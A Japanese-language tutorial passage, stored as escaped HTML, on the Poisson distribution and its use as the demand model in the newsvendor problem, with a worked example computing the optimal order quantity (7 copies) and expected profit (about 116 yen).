&lt;div&gt;&lt;span&gt;### ポアソン分布の極限定理&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ポアソン分布は、&lt;/span&gt;&lt;span&gt;**二項分布の極限**&lt;/span&gt;&lt;span&gt;としても導出される。$&lt;/span&gt;&lt;span&gt; n &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;to &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty $&lt;/span&gt;&lt;span&gt;、$&lt;/span&gt;&lt;span&gt; p &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;to &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;、$&lt;/span&gt;&lt;span&gt; np &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;to &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda $&lt;/span&gt;&lt;span&gt; の条件下で：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Binomial}(n, p) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;xrightarrow&lt;/span&gt;&lt;span&gt;{d} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Poisson}(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;これは&lt;/span&gt;&lt;span&gt;**ポアソンの極限定理**&lt;/span&gt;&lt;span&gt;（Poisson Limit Theorem）として知られる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図14: ポアソン分布の特性と新聞売り子問題への適用**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "ポアソン分布の特性"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A[ポアソン分布&amp;lt;br/&amp;gt;Poisson Distribution&amp;lt;br/&amp;gt;X~Poissonλ] --&amp;gt; B[確率質量関数&amp;lt;br/&amp;gt;PMF&amp;lt;br/&amp;gt;Px=λˣe⁻λ/x!]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A --&amp;gt; C[平均と分散&amp;lt;br/&amp;gt;Mean=Variance=λ&amp;lt;br/&amp;gt;EX=VarX=λ]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A --&amp;gt; D[独立増分性&amp;lt;br/&amp;gt;Independent Increments]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A --&amp;gt; E[定常増分性&amp;lt;br/&amp;gt;Stationary Increments]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "ポアソン過程と無記憶性"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F[ポアソン過程&amp;lt;br/&amp;gt;Poisson Process] --&amp;gt; G[カウントNt&amp;lt;br/&amp;gt;Nt~Poissonλt&amp;lt;br/&amp;gt;独立増分性・定常増分性]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F --&amp;gt; H[到着間隔時間T&amp;lt;br/&amp;gt;T~Exponentialλ&amp;lt;br/&amp;gt;無記憶性を持つ]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        H --&amp;gt; I[無記憶性&amp;lt;br/&amp;gt;Memoryless Property&amp;lt;br/&amp;gt;PT&amp;gt;s+t given T&amp;gt;s = PT&amp;gt;t]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "新聞売り子問題への適用"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        J[平均来客数λ&amp;lt;br/&amp;gt;Average Daily Customers] --&amp;gt; K[需要分布&amp;lt;br/&amp;gt;Demand Distribution&amp;lt;br/&amp;gt;x~Poissonλ]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        K --&amp;gt; L[累積分布関数&amp;lt;br/&amp;gt;CDF&amp;lt;br/&amp;gt;Fx=PX≤x]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        L --&amp;gt; M[最適発注数量&amp;lt;br/&amp;gt;Optimal Order Quantity&amp;lt;br/&amp;gt;FQ*=1-c/a]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "パラメータ推定"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        N[観測データ&amp;lt;br/&amp;gt;Historical Data] --&amp;gt; O[最尤推定&amp;lt;br/&amp;gt;Maximum Likelihood&amp;lt;br/&amp;gt;λ̂=x̄]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        O --&amp;gt; P[分布の特定&amp;lt;br/&amp;gt;Distribution Specification]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 新聞売り子問題への適用&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ポアソン分布は新聞売り子問題における「その日に来る客数」の不確実性を記述するのに適している。例えば、平均来客数が 30 人（$&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda = &lt;/span&gt;&lt;span&gt;30&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;）の場合、$&lt;/span&gt;&lt;span&gt; x $&lt;/span&gt;&lt;span&gt; 人来る確率は上記の式で計算できる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;これにより、需要分布としてポアソン分布を用いて、最適発注数量や利益期待値の計算が可能となる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ポアソン分布を使った具体的な計算例&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;平均来客数 $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda = &lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; 人、仕入価格 $&lt;/span&gt;&lt;span&gt; c = &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; 円、販売価格 $&lt;/span&gt;&lt;span&gt; a = &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; 円の場合を考える。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;まず、最適発注数量を決定する：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;F(Q^*) = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{c}{a} = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;0.2&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;累積確率が20%となる点を求める。ポアソン分布の累積分布関数を計算すると：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;F(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) = P(x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; e^{-&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;}}{&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;!} = e^{-&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;0.000045&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;F(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;) = P(x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;) = e^{-&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;} + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; e^{-&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;}}{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;!} = &lt;/span&gt;&lt;span&gt;11&lt;/span&gt;&lt;span&gt;e^{-&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;0.0005&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;F(&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;) = P(x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;) = e^{-&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;} + &lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;e^{-&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;} + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; e^{-&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;}}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;!} = e^{-&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;}(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;50&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;0.0028&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;F(&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;) = P(x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;0.0103&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;F(&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;) = P(x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;0.0293&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;F(&lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;) = P(x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;0.0671&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;F(&lt;/span&gt;&lt;span&gt;6&lt;/span&gt;&lt;span&gt;) = P(x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq &lt;/span&gt;&lt;span&gt;6&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;0.1301&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;F(&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;) = P(x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq &lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;0.2202&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; F(&lt;/span&gt;&lt;span&gt;6&lt;/span&gt;&lt;span&gt;) = &lt;/span&gt;&lt;span&gt;0.1301&lt;/span&gt;&lt;span&gt; &amp;lt; &lt;/span&gt;&lt;span&gt;0.2&lt;/span&gt;&lt;span&gt; &amp;lt; &lt;/span&gt;&lt;span&gt;0.2202&lt;/span&gt;&lt;span&gt; = F(&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;) $&lt;/span&gt;&lt;span&gt; であるため、最適発注数量は $&lt;/span&gt;&lt;span&gt; Q^* = &lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; 部となる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;次に、期待利益を計算する。仕入部数 $&lt;/span&gt;&lt;span&gt; Q = &lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; の場合：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi(&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;)] = &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;, x)] - &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;, x)] $&lt;/span&gt;&lt;span&gt; を計算する：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;, x)] = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{x=&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;}^{&lt;/span&gt;&lt;span&gt;6&lt;/span&gt;&lt;span&gt;} x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot P(x) + &lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{x=&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;}^{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty} P(x)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;= &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{x=&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;}^{&lt;/span&gt;&lt;span&gt;6&lt;/span&gt;&lt;span&gt;} x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;^x e^{-&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;}}{x!} + &lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot (&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - F(&lt;/span&gt;&lt;span&gt;6&lt;/span&gt;&lt;span&gt;))&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;0.000045&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;0.000454&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;0.00227&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;0.00757&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;0.0189&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;0.0378&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;6&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;0.0631&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;0.8699&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;より正確な計算により：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;, x)] &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;6.76&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ 部}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;したがって：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi(&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;)] = &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;6.76&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;676&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;560&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;116&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ 円}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;最適発注数量7部の場合、1日あたりの期待利益は約116円となる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### ポアソン分布の適用例&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ポアソン分布は、ある一定区間当たりのランダムに起きる事象の発生回数をモデル化するのに適している。具体例：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 1時間に特定の交差点を通過する車両の台数&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 1mlの希釈された水試料中に含まれる特定の細菌の数&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 1ページの文章を入力するとき、綴りを間違える回数&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 1日に受け取る電子メールの件数&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 1分間のWebサーバへのアクセス数&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 1kmあたりのある通り沿いのレストランの軒数&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 1ヘクタールあたりのエゾマツの本数&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 1立方光年あたりの恒星の個数&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### シミュレーションへの応用&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;乱数を用いてポアソン分布に従う需要を生成することで、新聞売り子問題のシミュレーションが可能である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**仕入れ価格**&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; c $&lt;/span&gt;&lt;span&gt; と&lt;/span&gt;&lt;span&gt;**販売価格**&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; a $&lt;/span&gt;&lt;span&gt; を設定&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**平均来客数**&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda $&lt;/span&gt;&lt;span&gt; を設定&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; ポアソン乱数により各日の客数を生成&lt;/span&gt;&lt;/div&gt;
